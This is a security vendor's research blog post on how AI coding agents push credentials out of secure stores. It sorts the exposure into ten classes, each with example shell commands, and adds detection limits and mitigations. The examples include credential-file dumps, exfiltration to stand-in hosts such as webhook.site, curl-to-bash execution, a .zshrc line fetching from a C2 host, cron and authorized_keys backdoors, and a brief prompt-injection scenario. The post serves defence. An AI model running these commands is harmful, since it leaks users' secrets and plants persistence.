Take a Product Tour Request a Demo Cybersecurity Assessment Contact Us

Blogs

The latest cybersecurity trends, best practices, security vulnerabilities, and more

The Unseen Credential Surface: How AI Agents Expose Secrets

There is a quiet assumption behind every AI agent: that when it "just runs a command for you," it handles your credentials as carefully as a good engineer would. It does not. This is not due to malicious intent. It is architectural.

An AI agent is essentially an automation layer on top of your shell. You ask it to "call the staging API" or "run the migration." It writes a command, runs it, reads the output, and writes the next command based on that result. This loop is what makes agents useful. It is also a way of handling credentials that no one really chose on purpose.

The short version: Agents constantly take credentials out of the safe places your operating system keeps them, and put them somewhere far more exposed. This happens as a normal side effect of everyday work. And even good security telemetry has a hard time distinguishing this from a developer doing their job—or from an attacker who is already inside.

This systemic, accidental exposure is what we call the unseen credential surface.

The core idea: The isolation gradient

Think of every place a secret can live as a step on a ladder, from safest to most exposed:

  • Locked Away: Inside an encrypted store (Keychain, DPAPI, Credential Manager). Only the one approved app can open it.
  • In Memory: Held privately inside one running process. This is fine, as long as it stays there.
  • On the Command Line: It is now in plain text. Any monitoring on the machine records it in full, other local processes can read it, and it can end up in shell history.
  • Written to Disk: Left in shell history, config files, and the agent's own transcript. It stays there until someone deletes it. Usually no one does.
  • Off the Machine: Uploaded, committed, pushed elsewhere, or sent to the model provider. This is effectively permanent.

Your operating system works hard to keep secrets on the top two steps. The fundamental issue is that agents constantly force credentials down this ladder—from encrypted stores into plain text, files, and external servers—just to get the job done.

There is one specific path on the bottom step that is exclusive to AI agents. If a human developer runs cat .env, the exposure is local—visible on their screen or saved in shell history. If an agent reads that same file, the contents enter its context window and are sent to an external model provider, where they may be permanently logged. Every local secret an agent interacts with can take this trip off the machine. Human errors stay inside your walls; agent operations do not.

One request, one exposed token

Here is the ladder in a single, common example. You ask your agent: "Pull my profile from the Graph API."

A good agent can do this without ever asking you for a password. It calls a helper that decrypts your saved OAuth token from the OS keystore, reads it, and then runs:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me

Trace that token's journey. It began safely locked in the keystore. Instantly, it became plain text on the command line —recorded in full by process-creation telemetry, readable by other local processes while it runs, and copied into the agent's transcript and context window. Two steps down, in one move. The token did not cross a network it should not have. What broke is the isolation between the token's authorized user and everyone else watching the machine.

The agent did not exploit anything. It just reproduced, at machine speed, the exact move security tools call "living off the land:" using trusted, normal tools in a way that happens to expose a secret. That is the whole trick, and it is why this is so hard to catch.

The dangerous behaviors, class by class

These behaviors are not unusual. Each one is a normal task—authenticate to an API, run a migration, install a dependency—written as a command the agent runs on its own. What makes them dangerous is the same in every case: each one moves a credential down the isolation ladder, and each one runs through a trusted, signed binary that the same environment runs thousands of times a day for good reasons.

There are ten classes. They go roughly from the most common and direct to the more specialized. But the key point is what they share: the isolation each one breaks, and why your telemetry cannot tell the agent's version apart from anyone else's. For each class: an example, a short analysis, and the MITRE ATT&CK mapping.

1. Credentials as command-line arguments

This is the most common exposure. When an agent needs to authenticate a one-off request, the path of least resistance is to put the secret straight into argv: 

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
curl -u svc_account:P... https://api.internal/v1/orders
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
mysql -uroot -phunter2 -e 'show databases;'
kubectl --token=eyJhbGci... get secrets -A

Why the Isolation Breaks: Command-line arguments are not private. Process-creation telemetry records the full command line at the moment of execution—in full, and kept for a long time—so the secret is captured the instant the process starts, no matter what the process does with its arguments afterward. In an interactive shell, the shell also adds it to history—and whether or not history records it, the agent copies the command into its own transcript and context window. A secret that started locked away in a keystore, or held in memory, now sits on steps three to five—command line, disk, off the machine—in one move.

Why It's Invisible: curl, psql, mysql, and kubectl are the exact same binaries your CI/CD pipelines and engineers use all day. There is no memory injection, no unsigned code, no suspicious system calls—just a trusted tool doing exactly what it was asked to do.

MITRE ATT&CK: T1552 (Unsecured Credentials) via T1059 (Command and Scripting Interpreter).

MITRE ATLAS: AML.T0055 (Unsecured Credentials); AML.T0050 (Command and Scripting Interpreter).

2. Reading credential files

Beyond the commands an agent types are the files it opens. Agents constantly read .env and similar configuration files, simply because that is where projects keep their secrets:

cat .env
cat ~/.aws/credentials
cat ~/.config/gcloud/application_default_credentials.json
cat ~/.kube/config
cat ~/.npmrc ~/.pypirc ~/.docker/config.json ~/.git-credentials
cat appsettings.json application.properties wp-config.php

The list doesn't stop at dotfiles. Framework config files often hold database connection strings and API keys in plain text, and agents read them just as easily while trying to understand a codebase.

Why the Isolation Breaks: When a file is read, its plain text flows into the tool's memory and hits stdout. But for an agent, it goes one step further than a human cat ever does: straight into the LLM context window. When a human operator reads a .env file, the secret stays on their screen. When an agent reads it, the secret is packaged into an API payload and sent off the machine to a third-party model provider.

Why It's Invisible: Reading a .env or aws/credentials file is one of the most common operations in a modern developer environment. Code editors, linters, test runners, language servers, and build tools all open these files constantly. If a security team writes a detection rule for "a process read .env," it will fire on the entire toolchain. The agent's read is just one quiet event in a massive, benign crowd.

MITRE ATT&CK: T1552.001 (Unsecured Credentials: Credentials In Files).

MITRE ATLAS: AML.T0055 (Unsecured Credentials); AML.T0057 (LLM Data Leakage).

3. Extracting from credential stores and keychains

This is the most drastic drop down the ladder. Agents bypass the operating system's strongest protections not by hacking them, but by simply asking for the secrets in plain text using official, native tools: 

security find-generic-password -s "prod-api" -w
git credential fill <<< $'protocol=https\nhost=github.com'
gh auth token
aws configure get aws_secret_access_key --profile prod

Why the Isolation Breaks: This pulls a secret from the very top step—the encrypted keystore, the one place designed so only approved apps can open it—straight into the agent's hands. From there, it immediately spills onto the command line, into local transcripts, and out to the LLM context window. The keystore didn't fail; it did its exact job. The agent simply leveraged the developer's privileges and politely asked the system to hand the secret over.

Why It's Invisible: git credential fill, gh auth token, and aws configure get are the documented, intended ways to interact with these stores. They are executed by normal background tooling all day long. From a telemetry perspective, writing a single-event rule to distinguish "the agent asked for this" from "the user's own workflow asked for this" is nearly impossible without triggering an avalanche of false positives.

MITRE ATT&CK: T1555 (Credentials from Password Stores); T1555.001 (Keychain).

MITRE ATLAS: AML.T0055 (Unsecured Credentials).

4. Harvesting environment variables

Modern applications are designed to inject secrets directly into the process environment. To an agent trying to debug a failed connection, one command is all it takes to turn that entire environment into plain-text output:

env
printenv | grep -iE 'key|token|secret|pass'
cat /proc/self/environ | tr '\0' '\n'
node -e 'console.log(process.env)'

Why the Isolation Breaks: Environment variables are a perfectly reasonable place to hold a secret in memory. But the moment env or printenv runs, every configured value is dumped to stdout. The agent eagerly captures this output into its transcript and ingests it into its context window, while CI systems concurrently burn it into build logs. A secret meant to live ephemerally in a single process's memory is instantly written to disk and shipped off the machine.

Why It's Invisible: Dumping the environment is a standard debugging step, and env is executed on almost every execution path. The exact command that leaks a production API key looks fundamentally identical to a developer simply checking if their $PATH is configured correctly.

MITRE ATT&CK: T1552 (Unsecured Credentials)—credentials exposed through the process environment.

MITRE ATLAS: AML.T0055 (Unsecured Credentials); AML.T0057 (LLM Data Leakage).

5. Disabling transport and verification controls

Agents are driven by task completion. If a task fails because of an SSL/TLS error, an agent won't necessarily troubleshoot the certificate chain—it will simply reach for the flag that forcefully removes the block:

curl -k https://internal-ca.host/token          # or --insecure
export NODE_TLS_REJECT_UNAUTHORIZED=0
git -c http.sslVerify=false clone https://...
export GIT_SSL_NO_VERIFY=true
pip install --trusted-host pypi.org --index-url http://...

Why the Isolation Breaks: This action does not expose a secret immediately. Instead, it surgically removes the guardrails that keep every subsequent credential private in transit. With verification disabled, any token sent afterward is vulnerable to a man-in-the-middle attack, and any endpoint can masquerade as the legitimate destination. A momentary shortcut to "just make it work" permanently downgrades the security posture of the entire session.

Why It's Invisible: Flags like -k and sslVerify=false are widely (if incorrectly) used by human developers to bypass self-signed certificates in dev and staging environments. They appear in legitimate scripts so frequently that writing a blanket SIEM alert for them generates pure noise.

MITRE ATT&CK: T1553 (Subvert Trust Controls); T1562.001 (Impair Defenses: Disable or Modify Tools).

MITRE ATLAS: AML.T0053 (AI Agent Tool Invocation).

6. Off-machine egress and exfiltration channels

Once a secret is in hand, moving it off the machine is just one more normal command. The same commands used to ship code are just as easily used to ship secrets:

git add .env && git commit -m wip && git push
curl -T dump.sql https://transfer.example/upload
curl --data @/home/dev/.aws/credentials https://webhook.site/...
gh gist create secrets.txt

Why the Isolation Breaks: This makes the bottom step of the ladder explicit—the secret leaves the machine and becomes permanently exposed. But remember, this runs parallel to the hidden egress every agent natively performs: long before that git push runs, any secret that entered the agent's context window has already been transmitted to the LLM provider.

Why It's Invisible: Pushing commits, uploading assets via curl, and creating gists are the lifeblood of daily software engineering. Exfiltration and honest work utilize the exact same binaries and destinations. What differs is the payload, not the action—and standard process telemetry does not capture the payload.

MITRE ATT&CK: T1567 (Exfiltration Over Web Service); T1048 (Exfiltration Over Alternative Protocol).

MITRE ATLAS: AML.T0025 (Exfiltration via Cyber Means); AML.T0057 (LLM Data Leakage).

7. Obfuscated and indirect execution

This is a growing and especially damaging class of behavior: commands that actively hide their true execution from the very telemetry everything else depends on. Agents often generate these to execute multistep setup scripts or dynamically inject configurations:

echo aGFybWZ1bC1jb21tYW5k | base64 -d | bash
curl -s https://get.example.sh | bash
eval "$(curl -s https://config.host/setup)"
python3 -c "exec(__import__('base64').b64decode('...'))"

Why the Isolation Breaks: The danger here is not a specific secret, but the destruction of visibility. The real action happens entirely outside the recorded command. Telemetry captures base64 -d | bash or curl | bash—not the credential read, the network egress, or the disabled security control running inside the payload. It permanently blinds the analysis engine required to catch the other classes of exposure.

Why It's Invisible: It is invisible by design. Piping a remote installer directly into a shell is a legitimate (albeit heavily discouraged) software installation pattern used by major toolchains (like Homebrew, NVM, or Rust). base64 and eval are standard UNIX utilities. The wrapper is harmless, the payload is hidden, and your logs only record the wrapper.

MITRE ATT&CK: T1027 (Obfuscated Files or Information); T1140 (Deobfuscate/Decode Files or Information).

MITRE ATLAS: AML.T0053 (AI Agent Tool Invocation) — ATLAS's LLM Prompt Obfuscation (AML.T0068) covers prompt-level, not shell-level, obfuscation.

8. Persistence through shell-startup and auto-run files

This category is fundamentally different. It is not primarily a credential leak—it is a foothold. Anything appended to a startup file executes silently in every new shell:

echo 'export API_KEY=...' >> ~/.bashrc
echo 'eval "$(curl -s https://c2.host/agent)"' >> ~/.zshrc
(crontab -l 2>/dev/null; echo '*/5 * * * * ~/.cache/.sync') | crontab -

Why the Isolation Breaks: An agent has perfectly legitimate reasons to edit ~/.bashrc, ~/.zshrc, or ~/.profile when setting up a project environment. However, the exact same action that injects a benign $PATH entry can inject an auto-run backdoor. A single crafted instruction transforms a helpful "configure my shell" task into malicious code that survives reboots and executes on every login.

Why It's Invisible: Editing dotfiles is universally normal developer behavior. The file write that grants persistent system access and the file write that merely fixes a terminal prompt are identical system operations occurring on the exact same files.

MITRE ATT&CK: T1546.004 (Event Triggered Execution: Unix Shell Configuration Modification); T1053 (Scheduled Task/Job).

MITRE ATLAS: AML.T0053 (AI Agent Tool Invocation)—no persistence-specific ATLAS technique for shell-startup files.

9. Bootstrapping new credentials and access

Most of the previous classes involve mishandling secrets that already exist. This is different: To get unblocked without prompting the user, the agent simply creates a new credential—and creates it in the weakest possible form: 

ssh-keygen -t ed25519 -N "" -f ./deploy_key       # no passphrase
ssh-keygen -t rsa -b 2048 -N "" -f dummy_rsa -m PEM
ssh -i ./deploy_key -T git@github.com             # ...and use it immediately
echo "$PUBKEY" >> ~/.ssh/authorized_keys          # ...or authorize it for later

Why the Isolation Breaks: A passphrase is the singular control that renders a copied private key useless. Because agents struggle with interactive prompts, they bypass them. A key generated with -N "" lands on the written-to-disk step the moment it is born—plain text on disk, immediately usable by anyone with read access, protected by zero secondary factors—and travels further the instant it is used or copied. When the agent then appends the public key to authorized_keys, it grants standing access that outlives its current task. The agent didn't move an existing secret down the ladder; it created a new one already exposed.

Why It's Invisible: Running ssh-keygen is precisely how a developer configures Git access or a deployment pipeline. Generating a key with no passphrase is a common (if highly discouraged) engineering shortcut. The telemetry for minting a throwaway test key and the telemetry for establishing durable, unattended backdoor access share the exact same binary and flags.

MITRE ATT&CK: T1098.004 (Account Manipulation: SSH Authorized Keys); T1552.004 (Unsecured Credentials: Private Keys).

MITRE ATLAS: AML.T0012 (Valid Accounts).

10. Extracting from cloud and cluster secret managers

This is the cloud-native evolution of Class 3. Today, high-value secrets live in managed stores—AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, HashiCorp Vault, or Kubernetes Secrets. Agents access them by reading the plain text using the store's official interfaces, exactly as designed:

aws secretsmanager get-secret-value --secret-id prod/db --query SecretString --output text
gcloud secrets versions access latest --secret=prod-api-key
az keyvault secret show --vault-name prod-kv --name db-password --query value -o tsv
vault kv get -field=password secret/prod/db
kubectl get secret prod-db -o jsonpath='{.data}' | base64 -d

Why the Isolation Breaks: These managed stores represent the cloud equivalent of the ladder's top step—heavily audited, tightly access-controlled, and designed exclusively for approved principals. The moment the agent queries a secret, it enters the process memory and subsequently the LLM context window. From there, it is usually passed into a command line (like a psql connection) or written to a local .env file. The cloud access controls worked perfectly. What broke was the isolation between the highly secured vault and the highly exposed agent transcript. Because a single managed secret often unlocks an entire blast radius (a production database, a message queue, a downstream API), one lookup can compromise an entire environment.

Why It's Invisible: These commands are the intended, documented interfaces run continuously by deployment scripts, operators, and CI/CD pipelines. The cloud provider's audit logs register an approved principal making an authorized API call. The endpoint EDR registers a trusted CLI binary executing normally. Neither system can easily distinguish whether the caller was a human adhering to a runbook, or an AI agent silently executing a model's arbitrary plan.

MITRE ATT&CK: T1555.006 (Credentials from Password Stores: Cloud Secrets Management Stores); T1552.007 (Unsecured Credentials: Container API) for the Kubernetes case.

MITRE ATLAS: AML.T0055 (Unsecured Credentials); AML.T0057 (LLM Data Leakage).

When the classes chain

Real agent activity rarely occurs one class at a time. A single, mundane request—"check the status of those twenty records"—can produce a single command that drags a secret down the entire ladder.

The agent might export cloud credentials as command-line arguments, call a secret manager to read a database password, and use that recovered password to open a database connection to query production data. Keystore → command line → memory → off-machine context window. All in one line, born from one harmless-sounding request.

No single step is unusual. Each one is a normal action an engineer takes every day. That is what makes this surface both so real and so hard to see. The agent isn't picking classes from a menu; it cascades through them naturally while trying to get your work done. The true exposure isn't any single step. It is the reality that this entire chain runs at machine speed, thousands of times a day, blending perfectly into the honest work around it.

Why single events slip through

This is the part that matters most for security teams, and it is structural, not a tuning problem.

Every technique above uses a trusted, signed, everyday tool—curl, git, psql, cat, node—run in a way that is exactly the same whether the operator is your developer, a helpful agent, or an attacker who already has a foothold. There is no malware to block and no strange process chain to flag, because the chain is the normal developer workflow.

And the crowd is large. That same .env file is read constantly, by many legitimate programs. A rule that fires on "a process read a .env file" would fire on all of them and bury the agent's reads in the rest. The agent is, by design, just one of many. This is not a rule someone forgot to write—the signal that would reliably tell the reads apart is usually not in the event itself.

Picture the attacker. Someone who has landed on a workstation—or a prompt injection that redirected the agent (a poisoned README, web page, or issue the agent read, carrying hidden instructions)—runs: read .env, then curl -u with the stolen credential, then upload the file. Now put that next to the machine's normal day: the .env read is one of many, the curl -u is one of many, the upload is one of many—the same binaries, in the same order, as the developer's and the agent's honest work. No step in the attack is missing from normal activity. A hunt tuned to catch it tends to fire on everyone or no one.

That prompt-injection path is worth a pause. The activity here is benign agent behavior. But these exact behaviors are the ones a single crafted input can turn against you. The agent already reads secrets and sends data out all the time; an injection does not need a new capability, only to point an existing one somewhere bad. Injection is not the subject here, but it is what turns everything above from "exposure" into "breach."

Then there is obfuscation. When a command arrives as ... | base64 -d | bash, monitoring records the wrapper, not the action. The same visibility this whole analysis depends on is one that a growing share of agent activity can switch off.

So the limit is not the telemetry's quality—it is the unit of analysis. Analyzing one event at a time, an agent's authorized credential handling is nearly impossible to separate from the exact threats that need catching. When viewed as a sequence—credential access, then use, then egress, tied back to the agent process that started the chain—the ambiguity largely goes away. That is the shift this surface demands: from single-event signatures to correlated sequences with agent lineage, paired with an architecture that keeps secrets higher up the ladder.

What to actually do

The root cause is architectural, so the fixes must be too. They all trace back to the ladder: Keep secrets on the top steps, or make an exposed secret worthless fast.

If you build agents:

  • Stop putting secrets on the command line. Broker credentials in-process through cloud provider SDKs whenever possible.
  • Use secure IPC for CLIs. When you absolutely must use a CLI, pass secrets through stdin or strictly scoped file descriptors—never as argv flags, and avoid polluting the global environment.
  • Sanitize the context window. Redact credential-shaped strings before they enter the LLM context window, not just before they hit a local log file. The context window is the actual trip off the machine; filtering it early is what keeps the secret localized.
  • Block the anti-patterns. When the model instinctively reaches for curl -u, -k, or credential.helper store, the agent framework should intercept it and enforce the safe alternative. And never allow the agent to hardcode secrets into generated source code.
  • Isolate instructions from data. Because a single crafted input can hijack this entire workflow, treat credential handling and off-host actions as highly privileged. Strictly separate the untrusted content the agent reads from the system instructions it follows.

If you deploy agents:

  • Make credential lifetime the lever. The damage from an exposed secret scales directly with how long it lives. Enforce short-lived, just-in-time tokens (like OIDC or workload identity—measured in minutes, not months). This turns a leak into a harmless, expired event.
  • Lock down the network. Strictly control network egress from the workstations or containers where agents operate.
  • Elevate the machine's risk profile. Treat any machine running an AI agent as the high-value, secret-handling infrastructure it has quietly become.

How Trellix sees the unseen surface

A single event hides in the crowd; a sequence does not. The shift this surface demands is from single-event signatures to the correlated sequence—and that is where Trellix operates. Trellix EDR observes the on-host activity, Trellix NDR the egress when data leaves the machine, and Trellix DLP Endpoint the secret content itself in motion. Trellix Wise AI capabilities correlate these signals and attribute the chain to the agent process that started it, collapsing look-alike events into one incident. That is what turns "invisible one event at a time" into one attributable story.

Pair it with the architectural controls above—short-lived tokens, egress control, context-window redaction—so detection and architecture reinforce each other: one catches the chain, the other shrinks what a leak can do.

The bottom line

Almost by accident, AI agents have become one of the largest credential-handling systems in the modern enterprise. And they handle those credentials in the least isolated way available: they walk them down the ladder, dragging them off the protected steps and permanently etching them onto command lines, disk drives, and their own external transcripts. This is not a hypothetical future threat. It is the reality of how agents operate today—driven by secrets injected into the command line and configuration files read throughout the working day.

The hard part is not the volume. It is that even your best telemetry struggles to tell your agent from your developer or your attacker one event at a time, because they all type the same trusted commands—and a growing share of that activity can hide what it is doing. The answer is not a single better signature; it is to read the whole sequence, tie it to the agent that ran it, and keep secrets off the exposed steps in the first place.

Seen one event at a time, the credential surface stays exactly what we named it: unseen. Seen as a whole—and kept off the exposed steps—it finally comes into view.

Discover the latest cybersecurity research from the Trellix Advanced Research Center.

This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.

Get the latest

Stay up to date with the latest cybersecurity trends, best practices, security vulnerabilities, and so much more.
Please enter a valid email address.

Zero spam. Unsubscribe at any time.